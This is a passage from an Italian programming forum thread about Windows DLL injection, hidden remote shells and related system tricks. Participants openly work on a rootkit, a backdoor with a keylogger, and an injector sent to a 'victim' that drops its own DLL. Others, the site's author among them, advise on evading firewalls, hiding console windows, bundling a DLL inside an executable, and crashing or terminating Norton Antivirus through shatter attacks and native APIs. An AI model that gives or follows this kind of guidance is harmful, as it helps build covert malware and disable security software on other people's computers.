per chi inizia a programmare.. sara' che io ho iniziato su borland 5.03 che 
credo sia ormai pezzo di storia :P

Animanera: io uso bloodshed dev c++, semplice, completo e soprattutto FREE. lo 
potete scaricare da qui: http://mesh.dl.sourceforge.net/sourceforge/dev-
cpp/devcpp-4.9.9.2_setup.exe secondo i miei gusti lo batte solo anjuta x linux 
:P

LeVante^: Avviso per tutti gli interessati alla DLL Injection. Ragazzi la dll 
che mi ha spedito Komrade per posta funziona! E' incredibile è lo stesso codice 
del suo esempio però se lo compilo io e creo la dll non funziona. In pratica se 
tento di fare la dll per conto mio con Visual Studio lui la costruisce senza 
errori ma non si vedono gli effetti dell'iniezione mentre quella compilata da 
Komrade (forse con un altro compilatore) funziona perfettamente (pur essendo lo 
stesso codice). Forse c'è qualche opzione da abilitare/disabilitare nelle 
opzioni del visual Studio, io le ho spulciate un pò ma non ho trovato nulla.

Animanera: qualcuno di voi ha mai provato ad aprire un ftp remoto invece ke una 
shell remota? mi spiego meglio, prendete il codice di Komrade x la shell remota 
v2, e al posto di "cmd" ci mettete "ftp". mi da' un problema di input-output e 
nn riesco a risolverlo... credo sia lo stesso problema di esecuzione comandi su 
shell remota... qualcuno ne sa qualcosa?

ho anke un altro piccolo problemino: nn riesco ad aprire porte superiori alla 
1024 x internet, e funzionano solo nella lan... se ne sapete qualcosa fatevi 
avanti :P ciao ciao


LeVante^: Komrade prova a farla tu una dll della MessageBox con un altro 
compilatore e spediscimela a levante@manicomio.org magari sbaglio io a fare la 
dll con Visual Studio...e poi è molto veloce da fare non ti porterò via tempo. 
Solo la MessageBox eh! ;-D

Animanera: sn0oz33r, a dirlo e' facile... il codice di vnc e' incredibilmente 
vasto e complicato... e ora nn ho proprio il tempo x spulciarlo :( se sai 
qualcosa plz share :D

LeVante^: Komrade uno Microsoft Visual Studio 6.0

sn0z33r: Animanera ma vnc una volta non era opensource ? Volento puoi benissimo 
ispirarti al codice originale e ripparti quello che ti serve

Komrade: LeVante^ che compilatore usi per creare la DLL?

Animanera: x LeVante^: si la MessageBox() e' giusta... io ho avuto problemi di 
iniezione, ma davvero raramente, con msn messenger; cioe' se inietto entro 5 min 
dalla creazione del processo tutto ok, se ritardo mi ritrovo nella tua 
situazione, cioe' niente MessageBox() ma la dll viene iniettata cmq. credo ke 
succeda una cosa del genere xke' uso un mod (messenger plus!) ke magari fa un 
injection pure lui in casi particolari :S mi e' anke capitato di iniettare 
mentre il processo viene creato e a volte crasha... ma cmq nn mi capita 
spesso... quello ke succede a te e' molto strano :S ricontrolla bene il codice, 
magari c'e' un errorino del cavolo ke ti fa saltare tutto...

x Komrade: ottimo, da ie si vede meglio, ma da firefox si vede minuscolo :(

x tutti: volevo kiedere se qualcuno conosce la vncdll.dll ke sta sul metasploit 
framework e sa come utilizzarla. la vncdll.dll genera una connessione di tipo 
vnc, in connectback, cioe' invece ke iniettare in un processo una dll ke ci da' 
una shell testuale, iniettando questo avremmo una shell grafica, tipo remote 
desktop :P

ciao ciao

LeVante^: Ciao Komrade Allora la domanda non è banale. Devi diversi codici C/C++ 
ke fanno DLL Injection alcuni richiedono il path assoluto dove risiede la dll il 
tuo invece la dichiara in maniera costante assumento che si trovi in una 
directory del PATH. Ad ogni modo stamattina li ho riprovati tutti mettendo la 
dll in C:\Windows\system32 e specificando sia path assoluto che relativo; in 
entrambe i casi posso affermare con certezza che la dll viene trovata poiché 
dopo che il programma termina correttamente scrivendo nel log "Injection 
eseguita", il sistema mi dice che la dll è in uso da 1 altro processo se la 
voglio cancellare quindi l'injection trova effettivamente la dll che dico io e 
la locka, tanto è vero che se chiudo il processo target dell'iniezione poi il 
sistema mi fa cancellare la dll senza problemi. Tuttavia non vedo ancora nessuna 
MessageBox e nemmeno quella messa prima ancora dello switch nel DllMain. La 
MessageBox si fa così??? MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", 
MB_OK); ??? Scusate ma inizio a diventare paranoico.

Komrade: Ho anche corretto alcuni dettagli sulla visualizzazione del messaggio 
così potete postare in modo corretto anche del codice (quello di Animanera era 
bello, ma è venuto fuori non allineato...)

Komrade: Innanzitutto scusate per i tempi lunghi di risposta,

LeVante^ è molto strano questo errore che ti capita, infatti se il file di log 
viene creato senza errori significa che l 'iniezione di codice avviene 
correttamente (se il firewall bloccasse alcune delle funzioni utilizzate 
dovrebbe tornare un codice di errore, non può bloccarle e non dare errori), 
secondo me il problema sta nel caricamento della libreria dll.dll. Un firewall 
difficilmente blocca il caricamento di una libreria (al massimo potrebbe 
chiedere cosa fare), quindi la domanda più semplice è: sei sicuro che il file 
dll.dll venga trovato? Hai provato a metterlo nella directory system32 di 
windows? La domanda è banale ma è l 'unico caso che per ora sono riuscito a 
ricreare con un errore simile al tuo. Altrimenti dovresti provare a chiamare una 
dll di sistema e verificare con un debugger che venga caricata nella memoria del 
processo target. Fammi sapere.

Il problema del buffer troppo piccolo l 'ho messo a posto, pensavo che 
bastassero 32k per la tabella dei processi, ma ormai vengono caricate così tante 
cose...

Comunque per quanto riguarda la dll injecion in generale, sicuramente è una 
tecnica che prima o poi non si potrà più utilizzare, ma per ora dipende da caso 
a caso, ho notato che soprattutto i firewall free non permettono ancora di 
bloccare questa tecnica, mentre quelli Pro già lo fanno, quindi la usiamo finché 
si può, poi ci inventeremo qualcos 'altro.

Ho allungato la textbox dove scrivere, va bene così??

LeVante^: Per Animanera Allora il problema della dimensione del buffer si 
verifica se il numero di processi attualmente in esecuzione è tale da essere 
troppo grande per entrare nel buffer allocato (da Komrade 0x8000). Infatti se ho 
troppi processi in esecuzione la trovaPid fallisce ma se chiudo qualche cosa la 
troVPid funziona correttamente. Ingrandendo il buffer a 0xF000 anche con molti 
processi la trovaPid non fallisce mai (almeno a me). Si lo ammetto iniettare in 
svchost.exe è probabilmente una grossa cazzata e me ne sono reso conto ma in 
ogni caso non funziona con nessun processo: notepad.exe, calc.exe, IEXPLORE.EXE 
ecc... La DLL è quella postata da Komrade con la MessageBox ovviamente solo nel 
case di DLL_PROCESS_ATTACH ma non è che non entra nel case...non entra proprio 
nel DLLMain!!! Infatti se prima ancora dello switch ci metto un 'altra 
MessageBox comunque non vedo niente!Cioè nella DLL non ci entra proprio 
indipendentemente dalla reason e come ho già detto anche su quell 'altro pc con 
windows 2000 SP4 ottengo le medesime cose. Il mio firewall è il Tiny Personal 
Firewall 6 e ti assicuro che ha un modulo di nome Windows Security in cui oltre 
ad essere registrati gli MD5 delle applicazioni che usano la rete ci sono anche 
gli md5 delle dll relative a ciascun processo con la possibilità di 
inserire/modificare le trusted dll o anche aggiungere checksum diversi allo 
stesso file exe o alla stessa dll (per esempio in caso di un Live Update non 
cambia la posizione e il nome di un 'applicazione/dll ma poiché viene 
aggiornata, il suo MD5 cambia ed il firewall mi chiede cosa voglio fare). Si va 
bene ma quello schifoso pc con win 2k SP4 ha il Tiny Firewall 1.0 !! Che non ha 
nulla di tutto ciò e probabilmente lo freghi anche solo rinominando l 
'applicazione! ;-DDD e COMUNQUE in nessuno dei 2 casi eliminando il firewall con 
tutti i relativi moduli (cioè tutto spento nessun controllo, come dico io "a 
cosce aperte " ;-DD) la dll injection non funziona nè da una parte nè dall 
'altra. Con questo non voglio dire che è 1 problema del codice di Komrade, ne 
avrò provati una decina di codici C/C++ che fanno DLL Injection nelle ultime 
settimane se vuoi posso postarti anche i link ma non c 'è stato niente da fare. 
;-(

Animanera: Komrade, sara ' il caso di allargare la textbox? :D:D sono impazzito 
x scrivere il post precedente :D ciao ciao :P

Animanera: ciao a tutti, non so cosa sbagliate ma a me funziona xfettamente il 
programmino di komrade... credo ke vi state complicando troppo la vita con 
dimensioni di buffer strani... se e ' un problema di trovaPid() (mi ha dato 
qualke problemino) esistono delle API di debug ke operano in maniera un po ' + 
pulita, vi posto il codice:

#include <tlhelp32.h>

int getpidbyname(char *s){
   HANDLE hProcessSnap;
   HANDLE hProcess;
   PROCESSENTRY32 pe32;

   hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
   pe32.dwSize = sizeof( PROCESSENTRY32 );
   Process32First( hProcessSnap, &pe32 );
   do{
      hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
      if(hProcess && !strcmp(s, pe32.szExeFile) ){
         CloseHandle( hProcessSnap );
         return( pe32.th32ProcessID );
      }
   } while( Process32Next( hProcessSnap, &pe32 ) );
   CloseHandle( hProcessSnap );
   return( -1 );
}

LeVante^ nn credo sia una buona idea iniettare in svchost.exe... anke xke ' ce 
ne sono almeno 4 e visto ke la trovaPid() di Komrade si basa sul nome dell 
'eseguibile, nn riuscirai a iniettare nel svchost giusto (cioe ' quello ke in 
genere ha pid 640). io in genere faccio le prove con calc.exe :P. poi nella dll 
dove l 'hai messa la MessageBox? sempre x provare e senza usare hooking, io 
metto una MessageBox diversa in ogni case dello switch con il relativo nome del 
case. cmq se la metti sotto DLL_PROCESS_ATTACH viene eseguita appena viene 
caricata la dll, am credo lo saprai gia ' ;) x qnt riguarda l 'argomento 
firewall io ho installato l 'ultima versione di ZoneAlarm, quella Pro, e il 
controllo di injection nn esiste proprio :P. ne ho provati parekki e l 'unico ke 
mi da ' problemi e ' kerio, ke controlla la porta e nn il prg.

cmq volevo sapere se qualcuno di voi conosce un modo, una volta connessi a una 
shell remota, di puttare o gettare files... ho provato tftp ma il fw me lo 
blocca :(

spero di essere stato d 'aiuto ;) a presto

LeVante^: Salve ragazzi Ahimè devo darvi altre brutte notizie. 1) Il tool della 
Microsoft INJLIB non funziona!! Mi ero sbagliato poiché quella MessageBox che si 
vede è nel codice di INJLIB e non nella dll di prova infatti del codice presente 
nella dll "injettata " non viene eseguito un bel niente ;-(. Per coloro che 
volessero tentare un 'ultima volta esperimenti sull 'argomento consiglio di 
cercare "madCodeHook " che è una libreria disponibile in C/C++/Delphi per 
effettuare DLL Injection ed API hooking in maniera sicura e su diversi sistemi 
della famiglia Windows. Personalmente non l 'ho ancora provata ma in molti 
garantiscono che sia la migliore. 2) Un 'altra brutta notizia è che in ogni caso 
man mano che cercavo info su come risolvere il problema mi sono reso conto che 
si tratta di un tecnica ormai inutile. Infatti i maggiori produttori di Firewall 
vigilano da tempo sulle dll iniettate in processi fidati impedendo a queste 
ultime di accedere ad Internet. Non dico balle mi sono reso conto che il mio 
Tiny Personal Firewall ha un modulo che si occupa esclusivamente di questo nella 
parte IDS/IPS e non è una cosa recente a quanto pare, sembra che McAfee e 
ZoneAlarm abbiano preso altrettanti provvedimenti. Ad ogni modo fintanto che la 
dll non cerca di accedere alla rete il processo è comunque "invisibile " al task 
manager e questo era lo scopo principale dell 'articolo. A questo punto propongo 
fra i prossimi argomenti i vari leaktest per bypassare un firewall ;-D Komrade 
sono ansioso di sentire la tua.

pinco pallino: ciao a tutti sono di nuovo io per dire che ho risolto il problema 
della libreria. comunque siccome a me la dll injection dà lo stesso problema di 
LeVante volevo chiedere se c 'è qualche correzione per far funzionare la dll 
injection senza ricorrere al tool della microsoft grazie in anticipo


pinco pallino: ciao a tutti

LeVante^: Salve a tutti Scusate se vi rompo nuovamente con l 'argomento DLL 
Injection nello spazio di un altro processo ma ho una "buona " notizia. 
Finalmente sono riuscito ad iniettare una dll in un processo (iexplore.exe) ma 
non l 'ho fatto col codice di Komrade bensì con un tool della Microsoft (si 
avete capito benissimo) si chiama INJLIB ed è stato scritto da Jeffrey Richter 
nel 1994. INJLIB è una collezione di librerie ed un tool di testing per 
injettare una dll nello spazio di un qualsiasi processo in ambiente a 32-bit. I 
passi sono pressoché gli stessi del codice di Komrade solo che è in C++ e 
nonostante funzioni (stavolta vedo quella maledettissima MessageBox) ho ancora 
un problema...sigh ;-( si perché dopo aver iniettato la dll, il processo target 
crasha. Non sono riuscito a capire da cosa possa dipendere però proverò a 
debuggare.

LeVante^: Ciao Komrade Purtroppo ho ancora brutte notizie sigh ;-( ho ri-testato 
il tuo Dll_Injector con la tua dll (quella semplice della MessageBox) su un pc 
diverso con Windows 2000 SP4 ho provato a injettare in iexplore.exe e vari altri 
processi sia utente che di sistema ma nulla da fare. A differenza del mio non 
necessita di 1 dimensione più grande ovvero nel file di log non scrive alcun 
errore, enumera i processi correttamente ed arriva a scrivere injection eseguita 
ma non ho ancora MAI visto quella maledettissima MessageBox. La volta scorsa 
avevo fatto 1 modifica pressoché irrilevante e stavolta nessuna modifica ed in 
entrambe i casi non funziona niente. Alkl 'inizio avevo pensato che potesse 
essere il mio firewall che registra l 'md5 di tutte le applicazioni e le 
rispettive dll. Ma ho provato anche a disabilitare quella caratteristica e l 
'altro pc inoltre ha un firewall molto vecchio che non fa di queste cose. Come è 
possibile?? Please Help

pinco pallino:

ciao a tutti volevo chiedere quale libreria includere per il seguente errore: 
simbolo esterno _WSAPROTOCOL_INFOA *,unsigned int,unsigned long) " 
(?WSASocketA@@$$J224YGIHHHPAU_WSAPROTOCOL_INFOA@@IK@Z) non risolto grazie in 
anticipo

LeVante^: Ciao Komrade Non so se ti ricordi di me. Volevo provare il tuo codice 
per fare DLL Injection, all 'inizio avevo fatto una dll che apriva una 
connessione in listening ho provato a iniettarla in svchost.exe ma niente non 
funzionava. Mi dava un errore "Errore ZwQuerySystemInformation() dimensione 
minima buffer " così ho provato ad alzare un pò la dimesione del buffer pStruct 
che ora è inizializzato a 0xF000, ora il codice otteneva la lista dei processi e 
scopriva il pid ma ugualmente non funzionava. Così ho deciso di prendere proprio 
il tuo con la tua dll con la MessageBox (e quella piccola modifica in trovaPid 
alla dimesione del buffer pStruct) e non funzionava neanche quella. All 'inizio 
avevo pensato che forse non godevo di sufficienti privilegi per aprire quel 
processo ma il file di log arriva a scrivere Injection Eseguita inoltre anche 
col tuo (che inietta in Internet Explorer) scrive sempre Injection eseguita ma 
non esegue nulla di nulla. Cioè nel caso della tua dll mi aspettere di vedere 1 
MessageBox invece neanche il tuo funziona? Cosa sto sbagliando secondo te? L 
'unica modifica che ho fatto è quella che ti ho detto. Ho Windows XP SP1.

Animanera: grazie Komrade, ha fatto il suo dovere (cm al solito :D) verrai 
inserito nei crediti del mio rootkit :P ciao ciao a presto

Komrade: Risposta a Umby81: Così in generale non saprei come aiutarti, se hai 
creato del codice dove ci sono errori o trovi diccolta mandamelo, altrimenti non 
posso esserti utile...


Risposta a Animanera: La funzione CreateFile() che utilizzi è giusta (non usare 
fopen() o open()), però per poter utilizzare il file come standard output in un 
processo figlio hai bisogno di specificare nella CreateFile() la struttura 
SECURITY_ATTRIBUTES. Leggi qui:

lpSecurityAttributes Pointer to a SECURITY_ATTRIBUTES structure that determines 
whether the returned handle can be inherited by child processes. If 
lpSecurityAttributes is NULL, the handle cannot be inherited.

Il codice dovrà essere come questo:

SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL; //default security descriptor
sa.bInheritHandle = TRUE; //questo ti permette di ereditare l 'handle nel processo figlio

hFile = CreateFile(TEXT( "temp.txt "), // file to create
GENERIC_WRITE, // open for writing
FILE_SHARE_WRITE, // share
&sa, //no default security
CREATE_ALWAYS, // overwrite existing
FILE_ATTRIBUTE_NORMAL, // asynchronous I/O
NULL); // no attr. template


Per tutti: Chi sa lo spagnolo e mi traduce ciò che è stato scritto da 
Tamalera???? Io non ci capisco molto....

Animanera: ciao Komrade, ho un piccolo problema con le si.hStdOutput e 
si.hStdError. nella tua shell remota le hai assegnate a un socket e funzionava 
tranquillamente in quanto i socket v2 di win sono anke pipes (giusto no?). mi 
servirebbe di assegnarle, invece ke a un socket, a un file ma nn ci riesco. ho 
provato ad attaccargli sia un descriptor ke un pointer, ma nn va. credo ke 
rikieda un handler, ma nn so cm ottenerlo usando open o fopen. ho trovato la API 
CreateFile che mi ritorna un handler ma nn va uguale :( ti incollo il codice:

#include
#include
#include

void main( VOID ){

STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hFile;

hFile = CreateFile(TEXT( "temp.txt "), // file to create
GENERIC_WRITE, // open for writing
FILE_SHARE_WRITE, // share
NULL, // default security
CREATE_ALWAYS, // overwrite existing
FILE_ATTRIBUTE_NORMAL | // normal file
FILE_FLAG_OVERLAPPED, // asynchronous I/O
NULL); // no attr. template

ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = hFile;
si.hStdError = hFile;

ZeroMemory( p, sizeof(pi) );

// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line).
TEXT( "netstat -n "), // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
TRUE, // Set handle inheritance to TRUE.
0, // No creation flags.
NULL, // Use parent 's environment block.
NULL, // Use parent 's starting directory.
&si, // Pointer to STARTUPINFO structure.
p ) // Pointer to PROCESS_INFORMATION structure.
)
{
printf( "CreateProcess failed (%d). n ", GetLastError() );
return;
}

// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );

// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
CloseHandle( hFile );

printf( " nfinito n ");

}

grazie in anticipo :D

Tamalera: Disculpe señor, no quiere comprar tamales calientitos oaxaqueños? 
Estan buenisimos siñor!

umby81: ciao,qualcuno puo ' aiutarmi realizzando un applicazione client server 
con l 'interfaccia socket in linguaggio c ,che realizzi il gioco del 7emezzo(il 
piu ' semplice possibile)? per ora so solo cosa fanno la bind,listen,accept,read 
e write la connect sendto e recevfrom,mi serve per un esame... vi prego 
aiutatemi Umby81@inwind.it

Komrade: Un buon tutorial da cui partire lo trovi a questo indirizzo (in 
italiano): http://www.aleax.it/TutWin32/

mentre in questo file sono presenti tutte le più importanti api di windows con i 
loro parametri e i loro valori di ritorno (in inglese): 
http://quequero.org/store/tools/Win32.zip

Comunque il riferimento migliore rimane l 'msdn, soprattutto gli esempi di 
codice che sono presenti. Ciao

sn0z33r : ciao komrade, innanzitutto i miei complimenti per i contenuti del tuo 
sito ;) Aspiro a diventare un buon coder ma ho ancora parecchia strada da 
fare... dato che tu fai largo uso delle api di windows vorrei chiederti un 
consiglio, anzi forse meglio dire un favore :P Dato che la programmazione di 
windows a livello di api mi interessa molto, hai della documentazione da 
consigliarmi (anche da acquistare) aggiuntiva all 'msdn che magari tratti gli 
argomenti in modo progressivo partendo dal messagebox alla creazione di form 
complessi ect ect ? (magari in ita.. ma anche in eng va bene :P) ciao e 
complimenti ancora per il sito ;)

Komrade: Risposta a Nabucodonosor: Per accedere a ring0 in windows NT devi 
creare un driver (i file vxd) Guarda su questo sito http://win32asm.cjb.net/ ci 
sono dei bei tutorial sui file vxd.

Risposta a Animanera: Io non ti posso aiutare, non sono esperto di reti... se c 
'è qualcuno che ha qualche idea si faccia avanti

Risposta a LeVante: Sono solo degli argomenti che ho trovato interessanti e che 
ho approfondito, rendendo accessibili a tutti i risultati ottenuti. Peccato che 
ultimamente non abbia molto tempo da dedicare a qualche nuovo tutorial...

LeVante^: Davvero favoloso ho sempre cercato degli Italiani con queste 
conoscenze. Io programmo x passione, preferibilmente C ma anche C++, Java e 
Perl; adoro "sporcarmi le mani " con le raw socket ed ho avuto la fortuna di 
vedere pubblicati un paio di miei programmi però lo ammetto...tu hai delle 
conoscenze incredibili ;-D ...l 'ultimo articolo sul code injection è qualcosa 
che non avevo mai visto in Italiano. Veramente bravo, mi piacerebbe conoscerne 
altri come te.

Animanera: ciao a tutti!! mi e ' stato regalato un router wireless belkin, ma nn 
rieco a configurarlo cm voglio, magari mi potete aiutare :) il router consente 
fino a 40 connessioni wireless e fino a 4 connessioni lan, cioe ' il router ha 5 
porte ethernet, 4 sono dedicate alla LAN e all 'altra, in teoria, andrebbe 
collegato il modem ethernet. modem eth -> router ->pc1, pc2, ecc... io purtroppo 
ho un modem usb :( quindi avevo pensato di fare una cosa del genere: modem usb -
> pc1 -> router -> pc2, pc3, ecc. ma nn riesco a configurarlo cosi '... qualke 
idea?? ciao ciao

Nabucodonosor: Come posso entrare in Ring0 sotto WinXP

Komrade: Il valore INADDR_ANY lo utilizzi per non dover specificare l 'indirizzo 
IP al quale il server è associato (per esempio potresti ditinguere l 'indirizzo 
interno di una rete da un indirizzo internet). Così il tuo server accetterà 
connessioni da qualsiasi tipo di indirizzo, sia interno alla rete che esterno.

Blanka: ciao ragazzi, ho un problema... sto creando una piccola applicazione 
client - server basata su socket. Ora sto sviluppando il server. Guardando anke 
gli esempi su questo sito non riesco a capire perchè nel settaggio della 
struttura socket, viene settato il valore "INADDR_ANY " precisamente : 
"sin.sin_addr.s_addr=htonl(INADDR_ANY); ". Infatti INADDR_ANY è 0.0.0.0... non 
bisogna settare l 'indirizzo IP che ha il computer in quel momento?

Grazie

sebastian : per chi può usi lcc per compilare = un po ' scomodo, piccolo ma 
efficace , maturalmente sotto winzoz!!!!


Animanera: cm nn detto :P idea geniale dell 'ultimo secondo :D

Animanera: grazie komrade e ' stato parekkio utile il link. xo ' nn riesco a 
creare un servizio autoinstallante... qualke consiglio?

%esp64: ops, ho sbagliato. il punto era di far partire sta benedetta shellcon 
una finestra nascosta e come mi avevi detto ho compilato con windows 
application. La shell e ' nascosta e fin qui tutto bene. mi connetto ad essa, e 
anche qui tutto bene. quando faccio exit sminchia pero '!nello scorso post ho 
invertito console con windos application. in realta ' quando compilo con console 
application (quindi appare la finestra) non ho problemi, mentre ne ho con l-
opzione windows application. Questo e ' il punto..

Komrade: Per %esp64: La shell non dovrebbe essere eseguita come console 
application, ma come windows application quindi se così ti funziona è tutto 
ok...

Per Animanera: Ho trovato un testo molto interessante e semplice sulla creazione 
di un servizio in C: http://www.devx.com/cplus/Article/9857/0/page/1

%esp64: Allora..semplicemente è un prg che runna due thread. Uno con una shell 
su di una determinata shell (copia incollato dal code di komrate :> ) e l 'altro 
con un semplice keylogger. Se avvio l 'eseguible compilando come "windows app " 
(come opzione di lcc-win32) tutto ok, funza tutto. La shell worka benissimo, 
pure il keylogger. Se invece compilo l 'eseguible con l 'opzione console 
application il keylogger worka bene, invece la shell no! esempio quando mi 
connetto e mi sconnetto con il comando da prompt "exit " la connessione è 
congelata. ed è stranissimo, xkè compilando come windows appl non ho questo 
problema ! che strano..

Animanera: %esp64 cm hai fatto ad avviarla cm servizio?? secondo me ti stai 
sbagliando... io ho letto qualcosa sui servizi 
(http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/vbcon/html/vboricreatingconfiguringwindowsserviceapplications.asp) e ti 
assicuro ke crearli nn e ' una cosa facile, nn possono essere fatti in c 
facilmente, ma si dovrebbe di norma usare c#, e poi vanno installati!!! cmq ke 
vuol dire ti si incasinano i thread? in ke senso? mica fanno mutex...

%esp64: grazie komerate per la questione di lcc-win32..però ora mi sorge un 
nuovo problema in quanto l 'applicazione è si avviata come servizio ma mi si 
incasinano i threads ! o meglio nn si comportano come dovrebbero, mentre se il 
sorgente è compilato con l 'opzione Windows appl nessun problema..mha..sai dirmi 
qualcosa?grazi!

:


Blanka: Per Komrade: sono riuscito in parte in quello che volevo fare, o meglio 
riesco a terminare il processo più importante dell 'antivirus con la 
PostThreadMessage, praticamente inserisco nella coda messaggi del processo il 
messaggio WM_QUIT. Il problema però è che gli altri due processi che voglio 
terminare, sempre riguardanti NAV 2005, non hanno una coda messaggi, e la 
PostThreadMessage, se il processo non ha cosa messaggi fallisce....:-((( L 
'unico modo che mi rimane è utilizzare le due API native NtTerminateProcess e 
LdrShutdownProcess, che combinate insieme dovrebbero forzare la chiusura di un 
processo. Però non riesco a utilizzarle in quanto non trovo il file header 
ntdll.h nel quale sono definite. Ho solo il file lib ntdll.lib preso dalle DDK 
di windows 2000. E ' un gran casino...

Blanka: Per Komrade: sai ho trovato un metodo per fare quello che voglio... 
domani appena finisco ti faccio sapere... si basa sull 'API PostThreadMessage... 
Intanto grazie mille

Komrade: Per Blanka: Non hai bisogno di un handle al processo per usare lo 
shatter attack, esso si basa sugli handle degli elementi presenti nel desktop 
(che possono essere textbox, bottoni, editbox... visibili o non visibili all 
'utente). Questi handle li ottieni tramite la EnumWindows() e la 
EnumChildWindows(), che non necessitano di alcun handle al processo. Con 
ShatterHunter (programma presente nel tutorial) ottieni tutti gli handle delle 
finestre presenti sul desktop.

Per %esp64: Se compili con lcc-win32 tramite lina di comando, ti basta chiamare 
"lcclnk -subsystem windows nomefile.obj ", se invece crei un progetto, vai sul 
menu "Compiler -> Settings " apri la scheda "Linker settings " e scegli "Windows 
appl " invece di "Console appl "

%esp64: ciao a tutti vorrei fare in modo che una prog al suo avvio venga 
lanciato in background, e che l 'eventuale finestra del dos non appaia. ho 
provato ad usare il codice con GetProcAddress() e a_Register() ma non sembra 
funzionare (ed è molto strano..). Premetto che ho compilato con lcc-win32 sotto 
winMe. grazie


Blanka: Per Komrade: Non dubito x nulla di ciò che mi dici, però la cosa che nn 
capisco è come posso inviare messaggi se nn ho nemmeno l 'handle del processo 
che voglio terminare. Se lo avessi svrei già usato la terminateprocess.... 
quello che voglio dire è che io ho bisogno di un handle e nn ce l 'ho...

Komrade: Non dubitare di quello che ti dico... Lo shatter attack può funzionare 
anche se non c 'è nessuna finestra visibile, io per esempio riuscivo a far 
crashare Zone Alarm (anche se non c 'era nessuna finestra aperta). Io un 
tentativo lo farei, poi vedi tu... Il problema degli unpacker sono le differenti 
versioni del packer, per quello sarebbe meglio fare il manual unpacking (anche 
se è più farticoso)

Blanka: Per Komrade: io di reversing non so nulla purtroppo, anke se presto 
arriverò a conoscere anke quello (spero). Comunque per quanto riguarda lo 
shatter attack a me nn serve a nulla, non è un processo a cui è legata una 
finestra, quindi l 'invio di messaggi non può portarmi da nessuna parte. 
Piuttosto ho trovato un WWPACK unpacker ma nn riesce neppure quello a unpackare 
quel maledetto Security task manager. Non capisco se è colpa mia o è davvero 
protetto cs bene.

Komrade: Ho dato una occhiata al security task manager ed è packato con WwPack, 
se hai conoscenze di reversing e tempo da perderci, puoi provare qualche 
unpacker o con il manual unpacking, altrimenti per far crashare norton 2005 hai 
provato con lo shatter attack?

Blanka: Sono sempre io... allora ho provato con ben 3 debugger (IDA, Olly 
debugger e DASM) ma nulla da fare, il security task manager non si riesce a 
debuggare, sembra inibito o protetto in qlke modo... Lo stesso vale per i 
processi del norton 2005. La sola soluzione che fino ad ora mi è passata per la 
mente è quella di mandare in crash il processo di quel porco di norton in un 
qualke modo... ma nn so come :-(( se qlcuno può aiutarmi... Grazie

Komrade: Il miglior debugger è SoftIce, che fa parte del driver studio, ma se 
non vuoi stare molto tempo a cercare e scaricare il driver studio (che è molto 
pesante) una ottima alternativa è OllyDebugger.

Blanka: Per Komrade: Intanto grazie per avere risposto... si comunque ho 
utilizzato SE_DEBUG_NAME... o meglio "SeDebugPrivilege " che è la stessa cosa... 
comunque non funziona in ogni caso... proverò con qualche debugger... In 
particolare che debugger mi consigli? Grazie ankora...

Komrade: Per Animanera: Il metodo più semplice è quello di aggiungere alla fine 
dell 'eseguibile la dll già compilata (con un editor esadecimale). L 'eseguibile 
funziona lo stesso, e al suo interno puoi inserire i comandi per posizionarti 
all 'inizio della dll e crearla leggendo i bytes fino a fine file.

Per blanka: Anche utilizzando quelle due strutture (con le funzione 
Process32First(), Process32Next()) è possibile avere una lista dei processi, 
questione di compatibiltà tra i vari windows... Per quanto riguarda il tuo 
tentativo di chiudere norton antivirus 2005, prima di chiamare la OpenProcess() 
hai abilitato il privilegio SE_DEBUG_NAME? La funzione NtOpenProcess(), sembra 
simile alla normale OpenProcess(), quindi non so se la differenza è nella 
chiamata di questa funzione... Comunque cerca di capire come agisce security 
task manager (magari con un debugger), dato che questo programma riesce a 
terminarlo.

blanka: Scusate ragazzi ma ho un altra domanda, sto cercando di terminare i 
processi di norton antivirus 2005, con i metodi tradizionali nn funziona, o 
meglio riesco a prendere il pid dei processi che mi interessano, ma non riesco a 
farmi restituire l 'handle del processo in questione, infatti la openprocess mi 
ritorna 0. Allora ho provato a vedere con qualke task manager diverso da quello 
di windowzz 2000 (security task manager) se riuscivo a terminarlo e riesco. A 
questo punto con dependency walker di microsotzzz ho guardato che librerie 
carica il security task manager e vedo che carica la ntdll.dll della quale 
utilizza la funzione non documentata di nome NtOpenProcess che probabilmente è 
la funzione che mi serve per ottenere sto ca..o di handle, ma non riesco ad 
utilizzarla.... qlcuno mi può aiutare?

blanka: Vorrei fare una domanda riguardante l 'articolo dllinjection e shark 
attack... Io da un pò di tempo ho sviluppato un task manager in vb, win9x e win 
2k/xp compatibile, inoltre sto sviluppando una piccola backdoor in vc++, e in 
entrambi i casi ho avuto la necessità di terminare i processi. Nella backdoor 
però non ho utilizzato le strutture predefinite di windows 2000 e xp per avere 
le informazioni sui processi, ma semplicemente mi sono accorto che anke 
utilizzando la struttura PROCESSENTRY32 e MODULEENTRY32 di win98 riesco a sapere 
pid e nome dei processi in esecuzione, senza bisogno di utilizzare le API e le 
strutture che avete utilizzato voi... come è possibile?

Animanera: x Komrade: si, ho provato a iniettarlo anke dentro kerio e nn mi 
lascia passare, ma ho fatto di piu '... ho usato la socktopt su una porta gia ' 
aperta ma mi impedisce di riutilizzarla!! l 'unico sistema x ora e ' killarlo... 
xo ' e ' troooppo sgamato... e bravo kerio :P ah, ti volevo kiedere, conosci un 
modo x creare una dll da un eseguibile? mi spiego: mando l 'exe, l 'injector, 
alla vittima ma vorrei ke lui stesso controllasse se shell.dll e ' presente in 
c: %SystemRoot% system32 e in caso nn ci fosse provvedesse lui a crearla. ho 
pensato di mettere il codice della dll compilata in un buffer dell 'exe prima di 
compilarlo, ma nn so cm fare!!

x Dibe: io ti consiglio di lavorare al livello piu ' basso, cioe ' utilizzare 
direttamente i kernel level thread read() e write(), queste funzionano di 
